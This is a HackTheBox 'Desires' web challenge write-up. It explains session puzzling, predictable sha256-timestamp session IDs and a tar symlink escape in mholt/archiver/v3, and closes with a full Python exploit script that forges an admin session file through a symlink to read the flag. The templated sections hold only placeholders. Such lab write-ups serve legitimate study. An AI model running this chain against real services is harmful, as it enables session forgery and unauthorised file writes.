← Back to Writeups
HTBN/AWeb

Desires

XESXOR8/23/20267 min read
#web#htb#n/a

Desires

Platform: HackTheBox | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-02-09 | Status: Solved Techniques: predictable_session_brute_force, session_forgery, session_puzzling, symlink_directory_traversal, tar_symlink_escape

Summary

"As survivors face the vault, anticipation thickens the air, igniting desires for power and glory. Subtle glances reveal hidden ambitions. Unbeknownst to them, toxic gas twists thoughts, fueling greed and paranoia."

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: HackTheBox | ID: 20260209_hackthebox_desires
  • Tags: go, file-upload, path-traversal, fiber, session-puzzling, symlink-attack, tar-symlink, predictable-session-id, file-based-sessions, redis, archiver-v3
  • Indicators: Go Fiber + file-based sessions in /tmp/sessions/, mholt/archiver/v3 for archive extraction, sessionID = sha256(unix_timestamp), PrepareSession before authentication, archiver.Unarchive() with symlink support
  • Source: 20260209_hackthebox_desires.md

Foothold

Vulnerability / Misconfiguration

  1. Predictable_session_brute_force
  2. Session_forgery
  3. Session_puzzling
  4. Symlink_directory_traversal
  5. Tar_symlink_escape
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • predictable_session_brute_force
  • session_forgery
  • session_puzzling
  • symlink_directory_traversal
  • tar_symlink_escape
  • Tags: go, file-upload, path-traversal, fiber, session-puzzling, symlink-attack, tar-symlink, predictable-session-id, file-based-sessions, redis, archiver-v3

Original Writeup

<details><summary>Click to expand original content</summary>

Desires — HackTheBox

Description

"As survivors face the vault, anticipation thickens the air, igniting desires for power and glory. Subtle glances reveal hidden ambitions. Unbeknownst to them, toxic gas twists thoughts, fueling greed and paranoia."

Target: http://154.57.164.82:31868

Technology Stack

  • Go (Fiber framework) — main web service on port 1337
  • Node.js (Express) — internal SSO service on port 8080 (SQLite + bcrypt)
  • Redis — session ID storage
  • mholt/archiver/v3 v3.5.0 — archive extraction library
  • File-based sessions stored at /tmp/sessions/<username>/<sessionID>

Architecture

Two services managed by supervisord:

  1. Go service (public-facing): handles registration, login, file upload, admin page
  2. Node.js SSO (internal only): handles user authentication against SQLite DB

Session flow:

  1. On login, sessionID = sha256(unix_timestamp) is generated
  2. PrepareSession(sessionID, username) stores username → sessionID mapping in Redis
  3. loginUser(username, password) authenticates against the SSO service
  4. CreateSession(sessionID, user) writes user JSON to /tmp/sessions/<username>/<sessionID>
  5. GetSession(username) reads Redis to get sessionID, then reads the file at /tmp/sessions/<username>/<sessionID>

The admin page at /user/admin checks if user.Role == "admin" and renders the flag.

Upload endpoint extracts archives to ./files/<username>/ using archiver.Unarchive(). The uploaded file is renamed to uuid + filepath.Ext(originalFilename).

Username validation blocks /, ., \ characters.

Analysis

Vulnerability 1: Session Puzzling (CWE-384)

In LoginHandler in http.go:

func LoginHandler(c *fiber.Ctx) error {
    sessionID := fmt.Sprintf("%x", sha256.Sum256([]byte(strconv.FormatInt(time.Now().Unix(), 10))))
    err := PrepareSession(sessionID, credentials.Username)  // Redis SET before auth!
    user, err := loginUser(credentials.Username, credentials.Password)  // Auth happens AFTER
    sessId := CreateSession(sessionID, user)  // File only created on success
}

Critical flaw: PrepareSession() stores the session ID in Redis BEFORE authentication. A failed login leaves Redis pointing to a session ID with NO corresponding session file on disk. The session ID is also predictable: sha256(unix_timestamp).

Vulnerability 2: Symlink Attack via archiver/v3

The mholt/archiver/v3 library:

  • Creates symlinks from tar archives without restriction (no symlink target validation)
  • Follows symlinks when creating parent directories via os.MkdirAll for subsequent files
  • Has OverwriteExisting=false by default, but allows writing NEW files through symlinks
  • Has CheckPath that prevents ../ path traversal, but does NOT prevent symlink-based escapes

Key archiver source code:

// writeNewSymbolicLink creates symlinks without validating the target
func writeNewSymbolicLink(fpath string, target string) error {
    os.MkdirAll(filepath.Dir(fpath), 0755)
    os.Symlink(target, fpath)  // No validation of target!
}

// writeNewFile follows symlinks via os.MkdirAll
func writeNewFile(fpath string, in io.Reader, fm os.FileMode) error {
    os.MkdirAll(filepath.Dir(fpath), 0755)  // Follows symlinks!
    out, _ := os.Create(fpath)
    io.Copy(out, in)
}

Vulnerability 3: Predictable Session IDs

sessionID = sha256(unix_timestamp) — only depends on the current second, easily brute-forced within a small window (~5-8 values).

Exploit Chain

Step 1: Register "uploader" user and login

Get an authenticated session to use the upload endpoint.

Step 2: Register "target" user

Create a second user account.

Step 3: Trigger failed login as "target"

Send a login request with wrong password for "target". This:

  • Sets Redis: target → sha256(timestamp) via PrepareSession
  • Does NOT create any session file or directory (login fails before CreateSession)
  • The session ID is predictable from the timestamp

Step 4: Upload malicious tar archive as "uploader"

Create a .tar file containing:

  1. Symlink entry: slink/tmp/sessions (points to the sessions root directory)
  2. File entry: slink/<target>/<predicted_session_id> containing {"username":"<target>","id":1,"role":"admin"}

When extracted to ./files/<uploader>/:

  • The symlink ./files/<uploader>/slink/tmp/sessions is created
  • os.MkdirAll creates ./files/<uploader>/slink/<target>/ which resolves to /tmp/sessions/<target>/ (directory created through symlink)
  • The admin session JSON is written to /tmp/sessions/<target>/<predicted_session_id>

Step 5: Access admin page with forged session

Set cookies: username=<target>, session=<predicted_session_id> Access /user/adminGetSession reads Redis for "target" → gets the predicted session ID → reads the forged admin session file → role == "admin"FLAG rendered!

Solution

#!/usr/bin/env python3
"""
HackTheBox Desires — Session Puzzling + Tar Symlink Attack
Exploit chain: predictable session ID + pre-auth Redis write + archiver symlink escape
"""
import requests, json, tarfile, io, time, sys, re, hashlib

TARGET = sys.argv[1] if len(sys.argv) > 1 else "http://154.57.164.82:31868"
ts = int(time.time()) % 10000000
UPLOADER = f"up{ts}"
TARGET_USER = f"tg{ts}"
PASSWORD = "password123"

up_session = requests.Session()

# Step 1: Register and login uploader
up_session.post(f"{TARGET}/register", data={"username": UPLOADER, "password": PASSWORD}, allow_redirects=False)
up_session.post(f"{TARGET}/login", data={"username": UPLOADER, "password": PASSWORD}, allow_redirects=False)

# Step 2: Register target
requests.post(f"{TARGET}/register", data={"username": TARGET_USER, "password": PASSWORD}, allow_redirects=False)

# Step 3: Failed login as target (sets Redis, no session file)
ts_before = int(time.time())
requests.post(f"{TARGET}/login", data={"username": TARGET_USER, "password": "WRONG"}, allow_redirects=False)
ts_after = int(time.time())

# Step 4: Try each possible session ID
admin_data = json.dumps({"username": TARGET_USER, "id": 1, "role": "admin"}).encode()

for i, t in enumerate(range(ts_before - 3, ts_after + 4)):
    predicted_sid = hashlib.sha256(str(t).encode()).hexdigest()
    
    # Fresh uploader for each attempt (symlink can't be recreated)
    if i > 0:
        uploader_name = f"up{ts}a{i}"
        up_session = requests.Session()
        up_session.post(f"{TARGET}/register", data={"username": uploader_name, "password": PASSWORD}, allow_redirects=False)
        up_session.post(f"{TARGET}/login", data={"username": uploader_name, "password": PASSWORD}, allow_redirects=False)
    
    # Create tar: symlink to /tmp/sessions + admin session file through symlink
    buf = io.BytesIO()
    with tarfile.open(fileobj=buf, mode='w') as tar:
        # Symlink: slink -> /tmp/sessions
        sym = tarfile.TarInfo(name="slink")
        sym.type = tarfile.SYMTYPE
        sym.linkname = "/tmp/sessions"
        tar.addfile(sym)
        
        # Admin session file written through the symlink
        f = tarfile.TarInfo(name=f"slink/{TARGET_USER}/{predicted_sid}")
        f.size = len(admin_data)
        f.mode = 0o644
        tar.addfile(f, io.BytesIO(admin_data))
    buf.seek(0)
    
    resp = up_session.post(f"{TARGET}/user/upload", files={"archive": ("p.tar", buf.read(), "application/x-tar")})
    if resp.status_code != 202:
        continue
    
    # Step 5: Access admin with forged session
    test = requests.Session()
    test.cookies.set("session", predicted_sid)
    test.cookies.set("username", TARGET_USER)
    resp = test.get(f"{TARGET}/user/admin")
    
    if "HTB{" in resp.text:
        flag = re.search(r'HTB\{[^}]+\}', resp.text)
        print(f"FLAG: {flag.group(0)}")
        sys.exit(0)

print("Failed — try adjusting timestamp window")

Key Tricks and Observations

  1. File extension matters: filepath.Ext("file.tar.gz") returns .gz, not .tar.gz. The archiver's ByExtension function then treats it as a Gz compressor (not a TarGz archive), causing extraction to fail. Must use .tar extension only.

  2. Symlink to parent directory: Initially tried symlinking to /tmp/sessions/<target>/ but that directory doesn't exist after a failed login. Symlinking to /tmp/sessions instead lets os.MkdirAll create the <target>/ subdirectory through the symlink.

  3. OverwriteExisting=false: The archiver won't overwrite existing files. This is why the session puzzling is essential — the failed login ensures no session file exists at the predicted path.

  4. Fresh uploader per attempt: Once a symlink named slink exists in an uploader's directory, subsequent uploads fail with "file exists". Each brute-force attempt needs a new uploader account.

  5. Timestamp brute-force window: The session ID is sha256(unix_second), so only ~5-8 values need to be tried around the request time.

</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR